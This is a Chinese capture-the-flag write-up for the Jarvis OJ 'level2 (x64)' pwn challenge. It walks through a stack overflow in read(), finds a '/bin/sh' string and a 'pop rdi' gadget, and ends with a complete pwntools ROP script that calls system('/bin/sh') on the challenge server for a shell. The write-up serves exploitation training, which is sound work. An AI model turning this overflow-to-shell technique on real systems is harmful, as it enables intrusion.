1. 程式人生 > 其它 >[Jarvis OJ - PWN]——[XMAN]level2(x64)

[Jarvis OJ - PWN]——[XMAN]level2(x64)

技術標籤:pwn# Jarvis OJ

[Jarvis OJ - PWN]——[XMAN]level2(x64)

  • 題目地址:https://www.jarvisoj.com/challenges
  • 題目:
    在這裡插入圖片描述
    checksec一下,是64位程式。開啟了NX保護在這裡插入圖片描述
    在IDA看一下,main函式中有我們要的system函式,
    在這裡插入圖片描述
    vulnerable_function函式中也有。不過可惜引數都不對,任取一個system地址就好就好。但是我們找到了棧溢位的利用函式read。buf距離rbp的距離為0x80
    在這裡插入圖片描述
    請新增圖片描述請新增圖片描述請新增圖片描述

查詢一下看看有沒有**"/bin/sh"字串,發現地址在0x0600A90**
在這裡插入圖片描述

**因為是64位程式,所以函式的前六個引數依次會使用rdi、rsi、rdx、rcx、r8、r9暫存器進行傳遞。system只有一個引數,使用的暫存器是rdi。**查詢一下彙編指令pop rdi的地址,0x04006b3


在這裡插入圖片描述
所以exploit為

from pwn import *
p = remote("pwn2.jarvisoj.com",9882)
binsh = 0x0600A90
pop_rdi=0x04006b3
sys = 0x0400603 #0x040063E 0x04004C0 
payload = 'a'*(0x80 + 0x8)
payload += p64(pop_rdi)+ p64(binsh) #將"/bin/sh"pop到rdi暫存器中
payload += p64(sys) #執行system函式
p.recvline()
p.sendline(payload)
p.interactive(
)